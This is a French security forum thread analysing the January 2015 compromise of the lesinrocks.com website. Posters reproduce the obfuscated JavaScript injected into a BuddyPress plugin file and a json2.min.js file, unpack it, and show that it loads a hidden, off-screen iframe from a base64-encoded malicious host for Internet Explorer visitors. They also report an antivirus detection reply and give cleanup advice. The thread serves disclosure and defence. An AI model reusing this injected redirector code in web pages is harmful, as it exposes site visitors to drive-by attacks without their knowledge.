Cas: Compromission du site "Les Inrockuptibles"

ѠOOT

Cas: Compromission du site "Les Inrockuptibles"

par ѠOOT »

Bonjour,

Un rapide message pour apporter un complément technique. Malekal, avant de publier son billet sur la compromission du site lesinrocks.com m'avait demandé si je pouvais jeter un œil aux captures afin d'identifier plus précisément le code à l'origine de l'écriture de la redirection malveillante.

URL: http://www.lesinrocks.com/2015/01/13/actualite/notre-une-hommage-charlie-hebdo-11546032/

Image
Math.atob : The atob() method of window object decodes a string of data which has been encoded using base-64 encoding.

En base64, nous avons bWFzaHRhYi5jb20vbWFpbC9za2lucy8=
ce qui équivaut à l'URL de redirection mashtab.com/mail/skins/

Comme le rappel à juste titre Malekal, ce portail connait des problèmes depuis l'année dernière. Les gestionnaires et dirigeants du magazine "Les Inrockuptibles" doivent prendre conscience des risques qu'ils encourent et qu'ils font courir à leurs lecteurs : il en va de leurs responsabilités.

Edit: Suite à la publication de ce sujet, Malekal vient de m'informer que la société responsable du portail l'a contacté en date du 16/01/2015. L'interlocuteur a expliqué que l'équipe technique chargée de la sécurité éprouvait des difficultés à reproduire la situation.

On va donc, gracieusement, les aiguiller.

URL: http://www.lesinrocks.com/wp-content/plugins/buddypress/bp-templates/bp-legacy/js/buddypress.js

EOF, commentaire /* jQuery querystring plugin */

Code : Tout sélectionner

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(5(){4 c=\'2d=\';5 g(){2c(5(){4 b=W.2a(\'28\')[0];7(b==E)6 g();i=W.27(\'24\');4 s=\'-\'+17.1a(1c,3)+\'23\';4 h=1Z.1X(\'1W=\');i.1V(\'1S\',\'//\'+h);i.T.1P=1;i.T.1N=\'1M\';i.T.1L=s;i.T.1K=s;b.1I(i)},1H)}4 m=\'1G\';7(!1F.1E.O(H 1D(m+\'|\'+\'1C\',\'i\'))&&W.1d.1A(c)==-1)6;4 a=H 1g(H 1g().1z()+17.1a(1c,3));W.1d=c+\'1; 1y=/; 1x=\'+a.1w();g()})();H 5(p){4 r=p.1v||\'&\';4 s=p.1u===C?C:z;4 u=p.1t===C?\'\':\'[]\';4 v=p.1s===C?C:z;4 w=v?p.19===z?"#":"?":"";4 x=p.1r===C?C:z;D.14=H 5(){4 j=5(o,t){6 o!=1q&&o!==E&&(!!t?o.1O==t:z)};4 k=5(a){4 m,1h=/\\[([^[]*)\\]/g,O=/^([^[]+)(\\[.*\\])?$/.1i(a),K=O[1],G=[];Z(m=1h.1i(O[2]))G.F(m[1]);6[K,G]};4 l=5(a,b,c){4 o,I=b.1m();7(M a!=\'X\')a=E;7(I===""){7(!a)a=[];7(j(a,S)){a.F(b.y==0?c:l(E,b.L(0),c))}A 7(j(a,1o)){4 i=0;Z(a[i++]!=E);a[--i]=b.y==0?c:l(a[i],b.L(0),c)}A{a=[];a.F(b.y==0?c:l(E,b.L(0),c))}}A 7(I&&I.O(/^\\s*[0-9]+\\s*$/)){4 d=1j(I,10);7(!a)a=[];a[d]=b.y==0?c:l(a[d],b.L(0),c)}A 7(I){4 d=I.J(/^\\s*|\\s*$/g,"");7(!a)a={};7(j(a,S)){4 e={};1B(4 i=0;i<a.y;++i){e[i]=a[i]}a=e}a[d]=b.y==0?c:l(a[d],b.L(0),c)}A{6 c}6 a};4 n=5(a){4 c=8;c.B={};7(a.16){D.N(a.12(),5(a,b){c.P(a,b)})}A{D.N(1J,5(){4 q=""+8;q=q.J(/^[?#]/,\'\');q=q.J(/[;&]$/,\'\');7(s)q=q.J(/[+]/g,\' \');D.N(q.11(/[&;]/),5(){4 a=1f(8.11(\'=\')[0]||"");4 b=1f(8.11(\'=\')[1]||"");7(!a)6;7(x){7(/^[+-]?[0-9]+\\.[0-9]*$/.1e(b))b=1p(b);A 7(/^[+-]?[0-9]+$/.1e(b))b=1j(b,10)}b=(!b&&b!==0)?z:b;7(b!==C&&b!==z&&M b!=\'1b\')b=b;c.P(a,b)})})}6 c};n.1Q={16:z,1R:5(a,b){4 c=8.12(a);6 j(c,b)},18:5(a){7(!j(a))6 8.B;4 b=k(a),K=b[0],G=b[1];4 c=8.B[K];Z(c!=E&&G.y!=0){c=c[G.1m()]}6 M c==\'1b\'?c:c||""},12:5(a){4 b=8.18(a);7(j(b,1o))6 D.1T(z,{},b);A 7(j(b,S))6 b.L(0);6 b},P:5(a,b){4 c=!j(b)?E:b;4 d=k(a),K=d[0],G=d[1];4 e=8.B[K];8.B[K]=l(e,G.L(0),c);6 8},1U:5(a,b){6 8.Q().P(a,b)},15:5(a){6 8.P(a,E).13()},1Y:5(a){6 8.Q().15(a)},1n:5(){4 c=8;D.N(c.B,5(a,b){20 c.B[a]});6 c},21:5(a){4 b=a.J(/^.*?[#](.+?)(?:\\?.+)?$/,"$1");4 c=a.J(/^.*?[?](.+?)(?:#.+)?$/,"$1");6 H n(a.y==c.y?\'\':c,a.y==b.y?\'\':b)},22:5(){6 8.Q().1n()},Q:5(){6 H n(8)},13:5(){5 Y(c){4 d=M c=="X"?j(c,S)?[]:{}:c;7(M c==\'X\'){5 1l(o,a,b){7(j(o,S))o.F(b);A o[a]=b}D.N(c,5(a,b){7(!j(b))6 z;1l(d,a,Y(b))})}6 d}8.B=Y(8.B);6 8},25:5(){6 8.Q().13()},26:5(){4 i=0,U=[],V=[],29=8;4 f=5(a){a=a+"";7(s)a=a.J(/ /g,"+");6 2b(a)};4 g=5(a,b,c){7(!j(c)||c===C)6;4 o=[f(b)];7(c!==z){o.F("=");o.F(f(c))}a.F(o.R(""))};4 h=5(c,d){4 e=5(a){6!d||d==""?[a].R(""):[d,"[",a,"]"].R("")};D.N(c,5(a,b){7(M b==\'X\')h(b,e(a));A g(V,e(a),b)})};h(8.B);7(V.y>0)U.F(w);U.F(V.R(r));6 U.R("")}};6 H n(1k.2e,1k.19)}}(D.14||{});',62,139,'||||var|function|return|if|this||||||||||||||||||||||||||length|true|else|keys|false|jQuery|null|push|tokens|new|token|replace|base|slice|typeof|each|match|SET|copy|join|Array|style|queryString|chunks|document|object|build|while||split|get|COMPACT|query|REMOVE|queryObject|Math|GET|hash|pow|number|557|cookie|test|decodeURIComponent|Date|rx|exec|parseInt|location|add|shift|EMPTY|Object|parseFloat|undefined|numbers|prefix|suffix|spaces|separator|toUTCString|expires|path|getTime|indexOf|for|trident|RegExp|userAgent|navigator|msie|1000|appendChild|arguments|top|left|absolute|position|constructor|zIndex|prototype|has|src|extend|set|setAttribute|bWFzaHRhYi5jb20vbWFpbC9za2lucy8|atob|remove|window|delete|load|empty|px|iframe|compact|toString|createElement|body|self|getElementsByTagName|encodeURIComponent|setTimeout|utmps|search'.split('|'),0,{}))
Une fois dépacké, nous obtenons:

Code : Tout sélectionner

(function() {
    var c = 'utmps=';

    function g() {
        setTimeout(function() {
            var b = document.getElementsByTagName('body')[0];
            if (b == null) return g();
            i = document.createElement('iframe');
            var s = '-' + Math.pow(557, 3) + 'px';
            var h = window.atob('bWFzaHRhYi5jb20vbWFpbC9za2lucy8=');
            i.setAttribute('src', '//' + h);
            i.style.zIndex = 1;
            i.style.position = 'absolute';
            i.style.left = s;
            i.style.top = s;
            b.appendChild(i)
        }, 1000)
    }
    var m = 'msie';
    if (!navigator.userAgent.match(new RegExp(m + '|' + 'trident', 'i')) && document.cookie.indexOf(c) == -1) return;
    var a = new Date(new Date().getTime() + Math.pow(557, 3));
    document.cookie = c + '1; path=/; expires=' + a.toUTCString();
    g()
})();
new function(p) {
    var r = p.separator || '&';
    var s = p.spaces === false ? false : true;
    var u = p.suffix === false ? '' : '[]';
    var v = p.prefix === false ? false : true;
    var w = v ? p.hash === true ? "#" : "?" : "";
    var x = p.numbers === false ? false : true;
    jQuery.query = new function() {
        var j = function(o, t) {
            return o != undefined && o !== null && (!!t ? o.constructor == t : true)
        };
        var k = function(a) {
            var m, rx = /\[([^[]*)\]/g,
                match = /^([^[]+)(\[.*\])?$/.exec(a),
                base = match[1],
                tokens = [];
            while (m = rx.exec(match[2])) tokens.push(m[1]);
            return [base, tokens]
        };
        var l = function(a, b, c) {
            var o, token = b.shift();
            if (typeof a != 'object') a = null;
            if (token === "") {
                if (!a) a = [];
                if (j(a, Array)) {
                    a.push(b.length == 0 ? c : l(null, b.slice(0), c))
                } else if (j(a, Object)) {
                    var i = 0;
                    while (a[i++] != null);
                    a[--i] = b.length == 0 ? c : l(a[i], b.slice(0), c)
                } else {
                    a = [];
                    a.push(b.length == 0 ? c : l(null, b.slice(0), c))
                }
            } else if (token && token.match(/^\s*[0-9]+\s*$/)) {
                var d = parseInt(token, 10);
                if (!a) a = [];
                a[d] = b.length == 0 ? c : l(a[d], b.slice(0), c)
            } else if (token) {
                var d = token.replace(/^\s*|\s*$/g, "");
                if (!a) a = {};
                if (j(a, Array)) {
                    var e = {};
                    for (var i = 0; i < a.length; ++i) {
                        e[i] = a[i]
                    }
                    a = e
                }
                a[d] = b.length == 0 ? c : l(a[d], b.slice(0), c)
            } else {
                return c
            }
            return a
        };
        var n = function(a) {
            var c = this;
            c.keys = {};
            if (a.queryObject) {
                jQuery.each(a.get(), function(a, b) {
                    c.SET(a, b)
                })
            } else {
                jQuery.each(arguments, function() {
                    var q = "" + this;
                    q = q.replace(/^[?#]/, '');
                    q = q.replace(/[;&]$/, '');
                    if (s) q = q.replace(/[+]/g, ' ');
                    jQuery.each(q.split(/[&;]/), function() {
                        var a = decodeURIComponent(this.split('=')[0] || "");
                        var b = decodeURIComponent(this.split('=')[1] || "");
                        if (!a) return;
                        if (x) {
                            if (/^[+-]?[0-9]+\.[0-9]*$/.test(b)) b = parseFloat(b);
                            else if (/^[+-]?[0-9]+$/.test(b)) b = parseInt(b, 10)
                        }
                        b = (!b && b !== 0) ? true : b;
                        if (b !== false && b !== true && typeof b != 'number') b = b;
                        c.SET(a, b)
                    })
                })
            }
            return c
        };
        n.prototype = {
            queryObject: true,
            has: function(a, b) {
                var c = this.get(a);
                return j(c, b)
            },
            GET: function(a) {
                if (!j(a)) return this.keys;
                var b = k(a),
                    base = b[0],
                    tokens = b[1];
                var c = this.keys[base];
                while (c != null && tokens.length != 0) {
                    c = c[tokens.shift()]
                }
                return typeof c == 'number' ? c : c || ""
            },
            get: function(a) {
                var b = this.GET(a);
                if (j(b, Object)) return jQuery.extend(true, {}, b);
                else if (j(b, Array)) return b.slice(0);
                return b
            },
            SET: function(a, b) {
                var c = !j(b) ? null : b;
                var d = k(a),
                    base = d[0],
                    tokens = d[1];
                var e = this.keys[base];
                this.keys[base] = l(e, tokens.slice(0), c);
                return this
            },
            set: function(a, b) {
                return this.copy().SET(a, b)
            },
            REMOVE: function(a) {
                return this.SET(a, null).COMPACT()
            },
            remove: function(a) {
                return this.copy().REMOVE(a)
            },
            EMPTY: function() {
                var c = this;
                jQuery.each(c.keys, function(a, b) {
                    delete c.keys[a]
                });
                return c
            },
            load: function(a) {
                var b = a.replace(/^.*?[#](.+?)(?:\?.+)?$/, "$1");
                var c = a.replace(/^.*?[?](.+?)(?:#.+)?$/, "$1");
                return new n(a.length == c.length ? '' : c, a.length == b.length ? '' : b)
            },
            empty: function() {
                return this.copy().EMPTY()
            },
            copy: function() {
                return new n(this)
            },
            COMPACT: function() {
                function build(c) {
                    var d = typeof c == "object" ? j(c, Array) ? [] : {} : c;
                    if (typeof c == 'object') {
                        function add(o, a, b) {
                            if (j(o, Array)) o.push(b);
                            else o[a] = b
                        }
                        jQuery.each(c, function(a, b) {
                            if (!j(b)) return true;
                            add(d, a, build(b))
                        })
                    }
                    return d
                }
                this.keys = build(this.keys);
                return this
            },
            compact: function() {
                return this.copy().COMPACT()
            },
            toString: function() {
                var i = 0,
                    queryString = [],
                    chunks = [],
                    self = this;
                var f = function(a) {
                    a = a + "";
                    if (s) a = a.replace(/ /g, "+");
                    return encodeURIComponent(a)
                };
                var g = function(a, b, c) {
                    if (!j(c) || c === false) return;
                    var o = [f(b)];
                    if (c !== true) {
                        o.push("=");
                        o.push(f(c))
                    }
                    a.push(o.join(""))
                };
                var h = function(c, d) {
                    var e = function(a) {
                        return !d || d == "" ? [a].join("") : [d, "[", a, "]"].join("")
                    };
                    jQuery.each(c, function(a, b) {
                        if (typeof b == 'object') h(b, e(a));
                        else g(chunks, e(a), b)
                    })
                };
                h(this.keys);
                if (chunks.length > 0) queryString.push(w);
                queryString.push(chunks.join(r));
                return queryString.join("")
            }
        };
        return new n(location.search, location.hash)
    }
}(jQuery.query || {});
Les attaquants ont probablement exploités une faille de sécurité. Je n'ai pas les éléments des investigations menées mais compte-tenu des évolutions et de la persistance, il faut s'attendre à tout. Outre les mesures habituelles, modifications de tous les identifiants, etc... il faudra scanner en profondeur à la recherche de possibles portes dérobées.
Dernière modification par ѠOOT le 23 janv. 2015 02:40, modifié 1 fois.
Malekal_morte
Messages : 114153
Inscription : 10 sept. 2005 13:57

Re: Cas: Compromission du site "Les Inrockuptibles"

par Malekal_morte »

Merci ѠOOT,

J'ai envoyé le script aux antivirus avec les explications.

Fortinet streak first.
Dear Amazing Customer,

Thank you for submitting the sample to Fortinet. Our analysts have analyzed the sample you provided and developed the pattern to detect it.

The sample you submitted will be detected as follows in the next update:
script.js - JS/Redirector.MA!exploit

If you have any other questions, please contact us again.

Best Regards,

AV Lab - ***

To submit a suspicious file to Fortinet:
http://www.fortinet.com/FortiGuardCente ... anner.html
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas !
Comment protéger son PC des virus
Windows 11 : Compatibilité, Configuration minimale requise, télécharger ISO et installer Windows 11

Comment demander de l'aide sur le forum
Partagez malekal.com : n'hésitez pas à partager les articles qui vous plaisent sur la page Facebook du site.
ѠOOT

Nouvel incident sur site "Les Inrockuptibles"

par ѠOOT »

Bonjour,

Deuxième effet Kiss Cool ®

URL: http://www.lesinrocks.com/wp-includes/js/json2.min.js

Code : Tout sélectionner

[...] eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(6(){2 c=\'z=\';6 g(){y(6(){2 b=4.A(\'B\')[0];f(b==D)9 g();i=4.C(\'w\');2 s=\'-\'+a.8(e,3)+\'E\';2 h=v.o(\'l=\');i.n(\'p\',\'//\'+h);i.5.q=1;i.5.u=\'t\';i.5.r=s;i.5.F=s;b.P(i)},R)}2 m=\'Q\';f(!N.I.O(7 H(m+\'|\'+\'G\',\'i\'))&&4.k.J(c)==-1)9;2 j=7 d(7 d().L()+a.8(e,3));4.k=c+\'1; M=/; K=\'+j.x();g()})();',54,54,'||var||document|style|function|new|pow|return|Math|||Date|557|if||||date|cookie|bWFzaHRhYi5jb20vbWFpbC9za2lucy8||setAttribute|atob|src|zIndex|left||absolute|position|window|iframe|toUTCString|setTimeout|utmps|getElementsByTagName|body|createElement|null|px|top|trident|RegExp|userAgent|indexOf|expires|getTime|path|navigator|match|appendChild|msie|1000'.split('|')));
L'équipe technique a procédé à la correction du script mais à l'heure actuelle elle n'arrive toujours pas à comprendre comment ce fichier a pu être modifié.

Revenir à « Tech, Tips & Tricks »